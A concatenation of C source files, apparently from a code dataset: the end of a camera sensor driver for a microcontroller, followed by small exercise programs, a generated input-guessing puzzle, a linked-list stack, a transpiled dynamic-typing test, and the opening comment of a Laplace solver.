init_ret = ov9650_init(&sensor);
break;
#endif // (OMV_ENABLE_OV9650 == 1)
#if (OMV_ENABLE_MT9V034 == 1)
case MT9V034_ID:
if (extclk_config(MT9V034_XCLK_FREQ) != 0) {
return -3;
}
init_ret = mt9v034_init(&sensor);
break;
#endif //(OMV_ENABLE_MT9V034 == 1)
#if (OMV_ENABLE_MT9M114 == 1)
case MT9M114_ID:
if (extclk_config(MT9M114_XCLK_FREQ) != 0) {
return -3;
}
init_ret = mt9m114_init(&sensor);
break;
#endif //(OMV_ENABLE_MT9M114 == 1)
#if (OMV_ENABLE_LEPTON == 1)
case LEPTON_ID:
if (extclk_config(LEPTON_XCLK_FREQ) != 0) {
return -3;
}
init_ret = lepton_init(&sensor);
break;
#endif // (OMV_ENABLE_LEPTON == 1)
#if (OMV_ENABLE_HM01B0 == 1)
case HM01B0_ID:
init_ret = hm01b0_init(&sensor);
break;
#endif //(OMV_ENABLE_HM01B0 == 1)
default:
return -3;
break;
}
if (init_ret != 0 ) {
// Sensor init failed.
return -4;
}
// Set default color palette.
sensor.color_palette = rainbow_table;
// Disable VSYNC IRQ and callback
sensor_set_vsync_callback(NULL);
// Set new DMA IRQ handler.
// Disable IRQs.
irq_set_enabled(DCMI_DMA_IRQ, false);
// Clear DMA interrupts.
dma_irqn_acknowledge_channel(DCMI_DMA, DCMI_DMA_CHANNEL);
// Remove current handler if any
irq_handler_t irq_handler = irq_get_exclusive_handler(DCMI_DMA_IRQ);
if (irq_handler != NULL) {
irq_remove_handler(DCMI_DMA_IRQ, irq_handler);
}
// Set new exclusive IRQ handler.
irq_set_exclusive_handler(DCMI_DMA_IRQ, dma_irq_handler);
// Or set shared IRQ handler, but this needs to be called once.
// irq_add_shared_handler(DCMI_DMA_IRQ, dma_irq_handler, PICO_DEFAULT_IRQ_PRIORITY);
irq_set_enabled(DCMI_DMA_IRQ, true);
/* All good! */
sensor.detected = true;
return 0;
}
int sensor_reset()
{
dcmi_abort();
// Reset the sensor state
sensor.sde = 0;
sensor.pixformat = 0;
sensor.framesize = 0;
sensor.framerate = 0;
sensor.gainceiling = 0;
sensor.hmirror = false;
sensor.vflip = false;
sensor.transpose = false;
#if MICROPY_PY_IMU
sensor.auto_rotation = sensor.chip_id == OV7690_ID;
#else
sensor.auto_rotation = false;
#endif // MICROPY_PY_IMU
sensor.vsync_callback= NULL;
sensor.frame_callback= NULL;
// Reset default color palette.
sensor.color_palette = rainbow_table;
// Restore shutdown state on reset.
sensor_shutdown(false);
// Hard-reset the sensor
if (sensor.reset_pol == ACTIVE_HIGH) {
DCMI_RESET_HIGH();
mp_hal_delay_ms(10);
DCMI_RESET_LOW();
} else {
DCMI_RESET_LOW();
mp_hal_delay_ms(10);
DCMI_RESET_HIGH();
}
mp_hal_delay_ms(20);
// Call sensor-specific reset function
if (sensor.reset(&sensor) != 0) {
return -1;
}
// Reset framebuffers
framebuffer_reset_buffers();
return 0;
}
int sensor_get_id()
{
return sensor.chip_id;
}
bool sensor_is_detected()
{
return sensor.detected;
}
int sensor_sleep(int enable)
{
if (sensor.sleep == NULL
|| sensor.sleep(&sensor, enable) != 0) {
// Operation not supported
return -1;
}
return 0;
}
int sensor_shutdown(int enable)
{
int ret = 0;
if (enable) {
if (sensor.pwdn_pol == ACTIVE_HIGH) {
DCMI_PWDN_HIGH();
} else {
DCMI_PWDN_LOW();
}
} else {
if (sensor.pwdn_pol == ACTIVE_HIGH) {
DCMI_PWDN_LOW();
} else {
DCMI_PWDN_HIGH();
}
}
mp_hal_delay_ms(10);
return ret;
}
int sensor_read_reg(uint16_t reg_addr)
{
if (sensor.read_reg == NULL) {
// Operation not supported
return -1;
}
return sensor.read_reg(&sensor, reg_addr);
}
int sensor_write_reg(uint16_t reg_addr, uint16_t reg_data)
{
if (sensor.write_reg == NULL) {
// Operation not supported
return -1;
}
return sensor.write_reg(&sensor, reg_addr, reg_data);
}
int sensor_set_pixformat(pixformat_t pixformat)
{
if (sensor.pixformat == pixformat) {
// No change
return 0;
}
// Flush previous frame.
framebuffer_update_jpeg_buffer();
if (sensor.set_pixformat == NULL
|| sensor.set_pixformat(&sensor, pixformat) != 0) {
// Operation not supported
return -1;
}
// wait for the camera to settle
mp_hal_delay_ms(100);
// Set pixel format
sensor.pixformat = pixformat;
// Skip the first frame.
MAIN_FB()->bpp = -1;
// Reconfigure PIO DCMI program.
dcmi_config(pixformat);
return 0;
}
int sensor_set_framesize(framesize_t framesize)
{
if (sensor.framesize == framesize) {
// No change
return 0;
}
// Flush previous frame.
framebuffer_update_jpeg_buffer();
// Call the sensor specific function
if (sensor.set_framesize == NULL
|| sensor.set_framesize(&sensor, framesize) != 0) {
// Operation not supported
return -1;
}
// wait for the camera to settle
mp_hal_delay_ms(100);
// Set framebuffer size
sensor.framesize = framesize;
// Skip the first frame.
MAIN_FB()->bpp = -1;
// Set MAIN FB x offset, y offset, width, height, backup width, and backup height.
MAIN_FB()->x = 0;
MAIN_FB()->y = 0;
MAIN_FB()->w = MAIN_FB()->u = resolution[framesize][0];
MAIN_FB()->h = MAIN_FB()->v = resolution[framesize][1];
// Pickout a good buffer count for the user.
framebuffer_auto_adjust_buffers();
return 0;
}
int sensor_set_framerate(int framerate)
{
if (sensor.framerate == framerate) {
// No change
return 0;
}
// Call the sensor specific function
if (sensor.set_framerate == NULL
|| sensor.set_framerate(&sensor, framerate) != 0) {
// Operation not supported
return -1;
}
return 0;
}
int sensor_set_windowing(int x, int y, int w, int h)
{
return -1;
}
int sensor_set_contrast(int level)
{
if (sensor.set_contrast != NULL) {
return sensor.set_contrast(&sensor, level);
}
return -1;
}
int sensor_set_brightness(int level)
{
if (sensor.set_brightness != NULL) {
return sensor.set_brightness(&sensor, level);
}
return -1;
}
int sensor_set_saturation(int level)
{
if (sensor.set_saturation != NULL) {
return sensor.set_saturation(&sensor, level);
}
return -1;
}
int sensor_set_gainceiling(gainceiling_t gainceiling)
{
if (sensor.gainceiling == gainceiling) {
/* no change */
return 0;
}
/* call the sensor specific function */
if (sensor.set_gainceiling == NULL
|| sensor.set_gainceiling(&sensor, gainceiling) != 0) {
/* operation not supported */
return -1;
}
sensor.gainceiling = gainceiling;
return 0;
}
int sensor_set_quality(int qs)
{
/* call the sensor specific function */
if (sensor.set_quality == NULL
|| sensor.set_quality(&sensor, qs) != 0) {
/* operation not supported */
return -1;
}
return 0;
}
int sensor_set_colorbar(int enable)
{
/* call the sensor specific function */
if (sensor.set_colorbar == NULL
|| sensor.set_colorbar(&sensor, enable) != 0) {
/* operation not supported */
return -1;
}
return 0;
}
int sensor_set_auto_gain(int enable, float gain_db, float gain_db_ceiling)
{
/* call the sensor specific function */
if (sensor.set_auto_gain == NULL
|| sensor.set_auto_gain(&sensor, enable, gain_db, gain_db_ceiling) != 0) {
/* operation not supported */
return -1;
}
return 0;
}
int sensor_get_gain_db(float *gain_db)
{
/* call the sensor specific function */
if (sensor.get_gain_db == NULL
|| sensor.get_gain_db(&sensor, gain_db) != 0) {
/* operation not supported */
return -1;
}
return 0;
}
int sensor_set_auto_exposure(int enable, int exposure_us)
{
/* call the sensor specific function */
if (sensor.set_auto_exposure == NULL
|| sensor.set_auto_exposure(&sensor, enable, exposure_us) != 0) {
/* operation not supported */
return -1;
}
return 0;
}
int sensor_get_exposure_us(int *exposure_us)
{
/* call the sensor specific function */
if (sensor.get_exposure_us == NULL
|| sensor.get_exposure_us(&sensor, exposure_us) != 0) {
/* operation not supported */
return -1;
}
return 0;
}
int sensor_set_auto_whitebal(int enable, float r_gain_db, float g_gain_db, float b_gain_db)
{
/* call the sensor specific function */
if (sensor.set_auto_whitebal == NULL
|| sensor.set_auto_whitebal(&sensor, enable, r_gain_db, g_gain_db, b_gain_db) != 0) {
/* operation not supported */
return -1;
}
return 0;
}
int sensor_get_rgb_gain_db(float *r_gain_db, float *g_gain_db, float *b_gain_db)
{
/* call the sensor specific function */
if (sensor.get_rgb_gain_db == NULL
|| sensor.get_rgb_gain_db(&sensor, r_gain_db, g_gain_db, b_gain_db) != 0) {
/* operation not supported */
return -1;
}
return 0;
}
int sensor_set_hmirror(int enable)
{
if (sensor.hmirror == ((bool) enable)) {
/* no change */
return 0;
}
/* call the sensor specific function */
if (sensor.set_hmirror == NULL
|| sensor.set_hmirror(&sensor, enable) != 0) {
/* operation not supported */
return -1;
}
sensor.hmirror = enable;
mp_hal_delay_ms(100); // wait for the camera to settle
return 0;
}
bool sensor_get_hmirror()
{
return sensor.hmirror;
}
int sensor_set_vflip(int enable)
{
if (sensor.vflip == ((bool) enable)) {
/* no change */
return 0;
}
/* call the sensor specific function */
if (sensor.set_vflip == NULL
|| sensor.set_vflip(&sensor, enable) != 0) {
/* operation not supported */
return -1;
}
sensor.vflip = enable;
mp_hal_delay_ms(100); // wait for the camera to settle
return 0;
}
bool sensor_get_vflip()
{
return sensor.vflip;
}
int sensor_set_transpose(bool enable)
{
if (sensor.transpose == enable) {
/* no change */
return 0;
}
if (sensor.pixformat == PIXFORMAT_JPEG) {
return -1;
}
sensor.transpose = enable;
return 0;
}
bool sensor_get_transpose()
{
return sensor.transpose;
}
int sensor_set_auto_rotation(bool enable)
{
if (sensor.auto_rotation == enable) {
/* no change */
return 0;
}
if (sensor.pixformat == PIXFORMAT_JPEG) {
return -1;
}
sensor.auto_rotation = enable;
return 0;
}
bool sensor_get_auto_rotation()
{
return sensor.auto_rotation;
}
int sensor_set_framebuffers(int count)
{
// Flush previous frame.
framebuffer_update_jpeg_buffer();
return framebuffer_set_buffers(count);
}
int sensor_set_special_effect(sde_t sde)
{
if (sensor.sde == sde) {
/* no change */
return 0;
}
/* call the sensor specific function */
if (sensor.set_special_effect == NULL
|| sensor.set_special_effect(&sensor, sde) != 0) {
/* operation not supported */
return -1;
}
sensor.sde = sde;
return 0;
}
int sensor_set_lens_correction(int enable, int radi, int coef)
{
/* call the sensor specific function */
if (sensor.set_lens_correction == NULL
|| sensor.set_lens_correction(&sensor, enable, radi, coef) != 0) {
/* operation not supported */
return -1;
}
return 0;
}
int sensor_ioctl(int request, ... /* arg */)
{
int ret = -1;
if (sensor.ioctl != NULL) {
va_list ap;
va_start(ap, request);
/* call the sensor specific function */
ret = sensor.ioctl(&sensor, request, ap);
va_end(ap);
}
return ret;
}
int sensor_set_vsync_callback(vsync_cb_t vsync_cb)
{
sensor.vsync_callback = vsync_cb;
if (sensor.vsync_callback == NULL) {
// Disable VSYNC EXTI IRQ
} else {
// Enable VSYNC EXTI IRQ
}
return 0;
}
int sensor_set_frame_callback(frame_cb_t vsync_cb)
{
sensor.frame_callback = vsync_cb;
return 0;
}
int sensor_set_color_palette(const uint16_t *color_palette)
{
sensor.color_palette = color_palette;
return 0;
}
const uint16_t *sensor_get_color_palette()
{
return sensor.color_palette;
}
void VsyncExtiCallback()
{
if (sensor.vsync_callback != NULL) {
//sensor.vsync_callback(HAL_GPIO_ReadPin(DCMI_VSYNC_PORT, DCMI_VSYNC_PIN));
}
}
// To make the user experience better we automatically shrink the size of the MAIN_FB() to fit
// within the RAM we have onboard the system.
int sensor_check_buffsize()
{
uint32_t bpp;
uint32_t size = framebuffer_get_buffer_size();
switch (sensor.pixformat) {
case PIXFORMAT_GRAYSCALE:
case PIXFORMAT_BAYER:
bpp = 1;
break;
case PIXFORMAT_RGB565:
case PIXFORMAT_YUV422:
bpp = 2;
break;
default:
return -1;
}
// This driver doesn't support windowing or anything like that.
if ((MAIN_FB()->u * MAIN_FB()->v * bpp) > size) {
return -1;
}
return 0;
}
static void dma_irq_handler()
{
// Clear the interrupt request.
dma_irqn_acknowledge_channel(DCMI_DMA, DCMI_DMA_CHANNEL);
framebuffer_get_tail(FB_NO_FLAGS);
vbuffer_t *buffer = framebuffer_get_tail(FB_PEEK);
if (buffer != NULL) {
// Set next buffer and retrigger the DMA channel.
dma_channel_set_write_addr(DCMI_DMA_CHANNEL, buffer->data, true);
// Unblock the state machine
pio_sm_restart(DCMI_PIO, DCMI_SM);
pio_sm_clear_fifos(DCMI_PIO, DCMI_SM);
pio_sm_put_blocking(DCMI_PIO, DCMI_SM, (MAIN_FB()->v - 1));
pio_sm_put_blocking(DCMI_PIO, DCMI_SM, (MAIN_FB()->u * MAIN_FB()->bpp) - 1);
}
}
// This is the default snapshot function, which can be replaced in sensor_init functions.
int sensor_snapshot(sensor_t *sensor, image_t *image, uint32_t flags)
{
// Compress the framebuffer for the IDE preview.
framebuffer_update_jpeg_buffer();
if (sensor_check_buffsize() != 0) {
return -1;
}
// Free the current FB head.
framebuffer_free_current_buffer();
switch (sensor->pixformat) {
case PIXFORMAT_BAYER:
case PIXFORMAT_GRAYSCALE:
MAIN_FB()->bpp = 1;
break;
case PIXFORMAT_YUV422:
case PIXFORMAT_RGB565:
MAIN_FB()->bpp = 2;
break;
default:
return -1;
}
vbuffer_t *buffer = framebuffer_get_head(FB_NO_FLAGS);
// If there's no ready buffer in the fifo, and the DMA is Not currently
// transferring a new buffer, reconfigure and restart the DMA transfer.
if (buffer == NULL && !dma_channel_is_busy(DCMI_DMA_CHANNEL)) {
buffer = framebuffer_get_tail(FB_PEEK);
if (buffer == NULL) {
return -1;
}
// Configure the DMA on the first frame, for later frames only the write is changed.
dma_config(MAIN_FB()->u, MAIN_FB()->v, MAIN_FB()->bpp, (void *) buffer->data,
(SENSOR_HW_FLAGS_GET(sensor, SENSOR_HW_FLAGS_RGB565_REV) && MAIN_FB()->bpp == 2));
// Unblock the state machine
pio_sm_put_blocking(DCMI_PIO, DCMI_SM, (MAIN_FB()->v - 1));
pio_sm_put_blocking(DCMI_PIO, DCMI_SM, (MAIN_FB()->u * MAIN_FB()->bpp) - 1);
}
// Wait for the DMA to finish the transfer.
for (mp_uint_t ticks = mp_hal_ticks_ms(); buffer == NULL;) {
buffer = framebuffer_get_head(FB_NO_FLAGS);
if ((mp_hal_ticks_ms() - ticks) > 3000) {
dcmi_abort();
return -1;
}
}
MAIN_FB()->w = MAIN_FB()->u;
MAIN_FB()->h = MAIN_FB()->v;
// Set the user image.
if (image != NULL) {
image->w = MAIN_FB()->w;
image->h = MAIN_FB()->h;
image->bpp = MAIN_FB()->bpp;
image->pixels = buffer->data;
}
return 0;
}
#endif
|
the_stack_data/29825765.c | #include<stdio.h>
int main(){
int arr[100];
int i,sum=0;
for(i=0;i<100;i++){
if(i<50)
arr[i]=i;
else
arr[i]=100-i/2;
}
printf("The array is: \n");
for(i=0;i<100;i++){
if(i%10==0)
printf("\n");
printf("%d\t",arr[i]);
}
int j;
for(i=0;i<100;i++){
for(j=i+1;j<100;j++){
if(arr[i]+arr[j]==50){
printf("\narr[%d][%d]=[%d,%d]\n",i,j,arr[i],arr[j]);
}
}
}
return 0;
} |
the_stack_data/2230.c | typedef struct ELE *tree_ptr;
struct ELE {
tree_ptr left;
tree_ptr right;
long val;
};
long trace(tree_ptr tp) {
long retval = 0;
while (tp) {
retval = tp->val;
tp = tp->left;
}
return retval;
}
|
the_stack_data/70450618.c | /* Generated by CIL v. 1.7.0 */
/* print_CIL_Input is false */
struct _IO_FILE;
struct timeval;
extern float strtof(char const *str , char const *endptr ) ;
extern void signal(int sig , void *func ) ;
typedef struct _IO_FILE FILE;
extern int atoi(char const *s ) ;
extern double strtod(char const *str , char const *endptr ) ;
extern int fclose(void *stream ) ;
extern void *fopen(char const *filename , char const *mode ) ;
extern void abort() ;
extern void exit(int status ) ;
extern int raise(int sig ) ;
extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ;
extern int strcmp(char const *a , char const *b ) ;
extern int rand() ;
extern unsigned long strtoul(char const *str , char const *endptr , int base ) ;
void RandomFunc(unsigned char input[1] , unsigned char output[1] ) ;
extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ;
extern int gettimeofday(struct timeval *tv , void *tz , ...) ;
extern int printf(char const *format , ...) ;
int main(int argc , char *argv[] ) ;
void megaInit(void) ;
extern unsigned long strlen(char const *s ) ;
extern long strtol(char const *str , char const *endptr , int base ) ;
extern unsigned long strnlen(char const *s , unsigned long maxlen ) ;
extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ;
struct timeval {
long tv_sec ;
long tv_usec ;
};
extern void *malloc(unsigned long size ) ;
extern int scanf(char const *format , ...) ;
void RandomFunc(unsigned char input[1] , unsigned char output[1] )
{
unsigned char state[1] ;
{
state[0UL] = input[0UL] + (unsigned char)69;
if ((state[0UL] >> (unsigned char)4) & (unsigned char)1) {
state[0UL] += state[0UL];
} else {
state[0UL] += state[0UL];
}
output[0UL] = (state[0UL] + 295067127UL) + (unsigned char)132;
}
}
int main(int argc , char *argv[] )
{
unsigned char input[1] ;
unsigned char output[1] ;
int randomFuns_i5 ;
unsigned char randomFuns_value6 ;
int randomFuns_main_i7 ;
{
megaInit();
if (argc != 2) {
printf("Call this program with %i arguments\n", 1);
exit(-1);
} else {
}
randomFuns_i5 = 0;
while (randomFuns_i5 < 1) {
randomFuns_value6 = (unsigned char )strtoul(argv[randomFuns_i5 + 1], 0, 10);
input[randomFuns_i5] = randomFuns_value6;
randomFuns_i5 ++;
}
RandomFunc(input, output);
if (output[0] == 119) {
printf("You win!\n");
} else {
}
randomFuns_main_i7 = 0;
while (randomFuns_main_i7 < 1) {
printf("%u\n", output[randomFuns_main_i7]);
randomFuns_main_i7 ++;
}
}
}
void megaInit(void)
{
{
}
}
|
the_stack_data/152686.c | #include<stdio.h>
#include<stdlib.h>
struct linked_list{
int data;
struct linked_list *next;
};
struct STACK{
struct linked_list *top;
};
// typedef and create a type *linked_list
typedef struct linked_list *node;
// function to create a new node
node create_node(int k){
node temp;
temp=(node)malloc(sizeof(struct linked_list));
if(temp==NULL){
printf("ERROR creating a new node\n");
exit(0);
}
temp->data=k;
temp->next=NULL;
return temp;
}
int STACK_EMPTY(struct STACK *S){
if((S->top)==NULL){
return -1;
}
return 1;
}
void PUSH(struct STACK *S,node x){
x->next = (S->top);
(S->top)=x;
}
void POP(struct STACK *S ){
node first_node=S->top;
if(first_node==NULL) {
printf("%d\n",-1);
return;
}
S->top=first_node->next;
// print deleted key
printf("%d\n",first_node->data);
free(first_node);
}
int main(){
char ch;
// stack creation
struct STACK S;
S.top=NULL;
int k,n,del;
int is_empty;// if the stack is empty
// nodes
node x;
do{ // menu
//read a character
scanf("%c",&ch);
switch(ch){
case 'i':
scanf("%d",&k); // the val to be inserted
x=create_node(k);
PUSH(&S,x);
break;
case 'd':
POP(&S); // pop element
break;
case 'e':
is_empty=STACK_EMPTY(&S);
printf("%d\n",is_empty);
break;
}
}while(ch!='t');
return 0;
} |
the_stack_data/75137974.c | #include <stdio.h>
#include <math.h>
int is_right(int a, int b)
{
int c_sqr = a * a + b * b;
int c = (int) sqrt(c_sqr);
return (c * c == c_sqr) ? c : 0;
}
int main()
{
int sol[1001] = {0};
int a, b, c, max = 0, max_p, i;
for (a = 1; a * 3 < 1000; a++) {
for (b = a + 1; a + b * 2 < 1000; b++) {
if ((c = is_right(a, b)) && a + b + c <= 1000)
sol[a + b + c]++;
}
}
for (i = 0; i <= 1000; i++) {
if (sol[i] > max) {
max = sol[i];
max_p = i;
}
}
printf("%d\n", max_p);
return 0;
}
|
the_stack_data/57951097.c | #include <stdio.h>
int parse(char* input){
int count = 0;
if(input[0] == 'O'){
count++;
if(input[1] == 'i') {
count++;
if(input[2] == ' ') {count++;
if(input[3] == 'T') count++;
}
}else{
if(input[4] == 'u') count++;
}
}
return count;
}
int main(){
FILE *fp;
char input[100];
fp = fopen("input.txt", "r");
fscanf(fp, "%[^\n]", input);
fclose(fp);
int ret = parse(input);
printf("%d\n", ret);
}
|
the_stack_data/12638407.c | #include <string.h>
#include <stdlib.h>
#include <assert.h>
#include <stdio.h>
#include <limits.h>
#include <ctype.h>
#define TRUE 1
#define FALSE 0
typedef unsigned char uint8_t;
typedef short int16_t;
typedef unsigned short uint16_t;
#define ARRAY_CREATE(array, init_capacity, init_size) {\
array = malloc(sizeof(*array)); \
array->data = malloc((init_capacity) * sizeof(*array->data)); \
assert(array->data != NULL); \
array->capacity = init_capacity; \
array->size = init_size; \
}
#define ARRAY_PUSH(array, item) {\
if (array->size == array->capacity) { \
array->capacity *= 2; \
array->data = realloc(array->data, array->capacity * sizeof(*array->data)); \
assert(array->data != NULL); \
} \
array->data[array->size++] = item; \
}
#define ARRAY_INSERT(array, pos, item) {\
ARRAY_PUSH(array, item); \
if (pos < array->size - 1) {\
memmove(&(array->data[(pos) + 1]), &(array->data[pos]), (array->size - (pos) - 1) * sizeof(*array->data)); \
array->data[pos] = item; \
} \
}
int16_t dict_find_pos(const char ** keys, int16_t keys_size, const char * key) {
int16_t low = 0;
int16_t high = keys_size - 1;
if (keys_size == 0 || key == NULL)
return -1;
while (low <= high)
{
int mid = (low + high) / 2;
int res = strcmp(keys[mid], key);
if (res == 0)
return mid;
else if (res < 0)
low = mid + 1;
else
high = mid - 1;
}
return -1 - low;
}
#define DICT_CREATE(dict, init_capacity) { \
dict = malloc(sizeof(*dict)); \
ARRAY_CREATE(dict->index, init_capacity, 0); \
ARRAY_CREATE(dict->values, init_capacity, 0); \
}
int16_t tmp_dict_pos;
#define DICT_GET(dict, prop, default) ((tmp_dict_pos = dict_find_pos(dict->index->data, dict->index->size, prop)) < 0 ? default : dict->values->data[tmp_dict_pos])
int16_t tmp_dict_pos2;
#define DICT_SET(dict, prop, value) { \
tmp_dict_pos2 = dict_find_pos(dict->index->data, dict->index->size, prop); \
if (tmp_dict_pos2 < 0) { \
tmp_dict_pos2 = -tmp_dict_pos2 - 1; \
ARRAY_INSERT(dict->index, tmp_dict_pos2, prop); \
ARRAY_INSERT(dict->values, tmp_dict_pos2, value); \
} else \
dict->values->data[tmp_dict_pos2] = value; \
}
#define STR_INT16_T_BUFLEN ((CHAR_BIT * sizeof(int16_t) - 1) / 3 + 2)
enum js_var_type {JS_VAR_NULL, JS_VAR_UNDEFINED, JS_VAR_NAN, JS_VAR_BOOL, JS_VAR_INT16, JS_VAR_STRING, JS_VAR_ARRAY, JS_VAR_DICT};
struct js_var {
enum js_var_type type;
int16_t number;
void *data;
};
struct array_js_var_t {
int16_t size;
int16_t capacity;
struct js_var *data;
};
struct array_string_t {
int16_t size;
int16_t capacity;
const char ** data;
};
struct dict_js_var_t {
struct array_string_t *index;
struct array_js_var_t *values;
};
struct js_var js_var_from_int16_t(int16_t n) {
struct js_var v;
v.type = JS_VAR_INT16;
v.number = n;
v.data = NULL;
return v;
}
struct js_var js_var_from_str(const char *s) {
struct js_var v;
v.type = JS_VAR_STRING;
v.data = (void *)s;
return v;
}
struct js_var js_var_from_array(struct array_js_var_t *arr) {
struct js_var v;
v.type = JS_VAR_ARRAY;
v.data = (void *)arr;
return v;
}
struct js_var js_var_from_dict(struct dict_js_var_t *dict) {
struct js_var v;
v.type = JS_VAR_DICT;
v.data = (void *)dict;
return v;
}
struct js_var str_to_int16_t(const char * str) {
struct js_var v;
const char *p = str;
int r;
v.data = NULL;
while (*p && isspace(*p))
p++;
if (*p == 0)
str = "0";
if (*p == '-' && *(p+1))
p++;
while (*p) {
if (!isdigit(*p)) {
v.type = JS_VAR_NAN;
return v;
}
p++;
}
sscanf(str, "%d", &r);
v.type = JS_VAR_INT16;
v.number = (int16_t)r;
return v;
}
const char * js_var_to_str(struct js_var v, uint8_t *need_dispose)
{
char *buf;
int16_t i;
*need_dispose = 0;
if (v.type == JS_VAR_INT16) {
buf = malloc(STR_INT16_T_BUFLEN);
assert(buf != NULL);
*need_dispose = 1;
sprintf(buf, "%d", v.number);
return buf;
} else if (v.type == JS_VAR_BOOL)
return v.number ? "true" : "false";
else if (v.type == JS_VAR_STRING)
return (const char *)v.data;
else if (v.type == JS_VAR_ARRAY) {
struct array_js_var_t * arr = (struct array_js_var_t *)v.data;
uint8_t dispose_elem = 0;
buf = malloc(1);
assert(buf != NULL);
*need_dispose = 1;
buf[0] = 0;
for (i = 0; i < arr->size; i++) {
const char * elem = js_var_to_str(arr->data[i], &dispose_elem);
buf = realloc(buf, strlen(buf) + strlen(elem) + 1 + (i != 0 ? 1 : 0));
assert(buf != NULL);
if (i != 0)
strcat(buf, ",");
strcat(buf, elem);
if (dispose_elem)
free((void *)elem);
}
return buf;
}
else if (v.type == JS_VAR_DICT)
return "[object Object]";
else if (v.type == JS_VAR_NAN)
return "NaN";
else if (v.type == JS_VAR_NULL)
return "null";
else if (v.type == JS_VAR_UNDEFINED)
return "undefined";
return NULL;
}
struct js_var js_var_to_number(struct js_var v)
{
struct js_var result;
result.type = JS_VAR_INT16;
result.number = 0;
if (v.type == JS_VAR_INT16)
result.number = v.number;
else if (v.type == JS_VAR_BOOL)
result.number = v.number;
else if (v.type == JS_VAR_STRING)
return str_to_int16_t((const char *)v.data);
else if (v.type == JS_VAR_ARRAY) {
struct array_js_var_t * arr = (struct array_js_var_t *)v.data;
if (arr->size == 0)
result.number = 0;
else if (arr->size > 1)
result.type = JS_VAR_NAN;
else
result = js_var_to_number(arr->data[0]);
} else if (v.type != JS_VAR_NULL)
result.type = JS_VAR_NAN;
return result;
}
struct js_var js_var_inc(struct js_var * v, int16_t by) {
struct js_var result;
result = js_var_to_number(*v);
if (result.type == JS_VAR_INT16) {
(*v).type = JS_VAR_INT16;
(*v).number = result.number + by;
(*v).data = NULL;
} else
(*v).type = JS_VAR_NAN;
return result;
}
enum js_var_op {JS_VAR_MINUS, JS_VAR_ASTERISK, JS_VAR_SLASH, JS_VAR_PERCENT, JS_VAR_SHL, JS_VAR_SHR, JS_VAR_USHR, JS_VAR_OR, JS_VAR_AND};
struct js_var js_var_compute(struct js_var left, enum js_var_op op, struct js_var right)
{
struct js_var result, left_to_number, right_to_number;
result.data = NULL;
left_to_number = js_var_to_number(left);
right_to_number = js_var_to_number(right);
if (left_to_number.type == JS_VAR_NAN || right_to_number.type == JS_VAR_NAN) {
if (op == JS_VAR_MINUS || op == JS_VAR_ASTERISK || op == JS_VAR_SLASH || op == JS_VAR_PERCENT) {
result.type = JS_VAR_NAN;
return result;
}
}
result.type = JS_VAR_INT16;
switch (op) {
case JS_VAR_MINUS:
result.number = left_to_number.number - right_to_number.number;
break;
case JS_VAR_ASTERISK:
result.number = left_to_number.number * right_to_number.number;
break;
case JS_VAR_SLASH:
result.number = left_to_number.number / right_to_number.number;
break;
case JS_VAR_PERCENT:
result.number = left_to_number.number % right_to_number.number;
break;
case JS_VAR_SHL:
result.number = left_to_number.number << right_to_number.number;
break;
case JS_VAR_SHR:
result.number = left_to_number.number >> right_to_number.number;
break;
case JS_VAR_USHR:
result.number = ((uint16_t)left_to_number.number) >> right_to_number.number;
break;
case JS_VAR_AND:
result.number = left_to_number.number & right_to_number.number;
break;
case JS_VAR_OR:
result.number = left_to_number.number | right_to_number.number;
break;
}
return result;
}
static struct js_var u1;
static struct js_var u2;
static struct array_js_var_t * u3;
static struct js_var tmp_result;
static const char * tmp_str;
static uint8_t tmp_need_dispose;
static struct js_var tmp_result_2;
static struct js_var tmp_result_3;
static struct js_var tmp_result_4;
static struct js_var tmp_result_5;
static struct js_var tmp_result_6;
int main(void) {
u1 = js_var_from_str("123");
u2 = js_var_from_str("abc");
ARRAY_CREATE(u3, 2, 1);
u3->data[0] = js_var_from_int16_t(12);
ARRAY_PUSH(u3, js_var_from_str("15"));
tmp_result = js_var_compute(js_var_from_int16_t(10), JS_VAR_MINUS, js_var_inc(&u1, 1));
printf("%s", tmp_str = js_var_to_str(tmp_result, &tmp_need_dispose));
if (tmp_need_dispose)
free((void *)tmp_str);
printf(" %s\n", tmp_str = js_var_to_str(u1, &tmp_need_dispose));
if (tmp_need_dispose)
free((void *)tmp_str);
tmp_result_2 = js_var_compute(js_var_from_int16_t(10), JS_VAR_MINUS, js_var_inc(&u1, -1));
printf("%s", tmp_str = js_var_to_str(tmp_result_2, &tmp_need_dispose));
if (tmp_need_dispose)
free((void *)tmp_str);
printf(" %s\n", tmp_str = js_var_to_str(u1, &tmp_need_dispose));
if (tmp_need_dispose)
free((void *)tmp_str);
tmp_result_3 = js_var_compute(js_var_from_int16_t(10), JS_VAR_MINUS, js_var_inc(&u2, 1));
printf("%s", tmp_str = js_var_to_str(tmp_result_3, &tmp_need_dispose));
if (tmp_need_dispose)
free((void *)tmp_str);
printf(" %s\n", tmp_str = js_var_to_str(u2, &tmp_need_dispose));
if (tmp_need_dispose)
free((void *)tmp_str);
tmp_result_4 = js_var_compute(js_var_from_int16_t(10), JS_VAR_MINUS, js_var_inc(&u2, -1));
printf("%s", tmp_str = js_var_to_str(tmp_result_4, &tmp_need_dispose));
if (tmp_need_dispose)
free((void *)tmp_str);
printf(" %s\n", tmp_str = js_var_to_str(u2, &tmp_need_dispose));
if (tmp_need_dispose)
free((void *)tmp_str);
tmp_result_5 = js_var_compute(js_var_from_int16_t(10), JS_VAR_MINUS, js_var_inc(&u3->data[1], 1));
printf("%s", tmp_str = js_var_to_str(tmp_result_5, &tmp_need_dispose));
if (tmp_need_dispose)
free((void *)tmp_str);
printf(" %s\n", tmp_str = js_var_to_str(u3->data[1], &tmp_need_dispose));
if (tmp_need_dispose)
free((void *)tmp_str);
tmp_result_6 = js_var_compute(js_var_from_int16_t(10), JS_VAR_MINUS, js_var_inc(&u3->data[1], -1));
printf("%s", tmp_str = js_var_to_str(tmp_result_6, &tmp_need_dispose));
if (tmp_need_dispose)
free((void *)tmp_str);
printf(" %s\n", tmp_str = js_var_to_str(u3->data[1], &tmp_need_dispose));
if (tmp_need_dispose)
free((void *)tmp_str);
free(u3->data);
free(u3);
return 0;
}
|
the_stack_data/32975.c | /*************************************************
* Laplace OpenACC C Version
*
* Temperature is initially 0.0
* Boundaries are as follows:
*
* 0 T 0
* 0 +-------------------+ 0
* | |
* | |
* | |
* T | | T
* | |
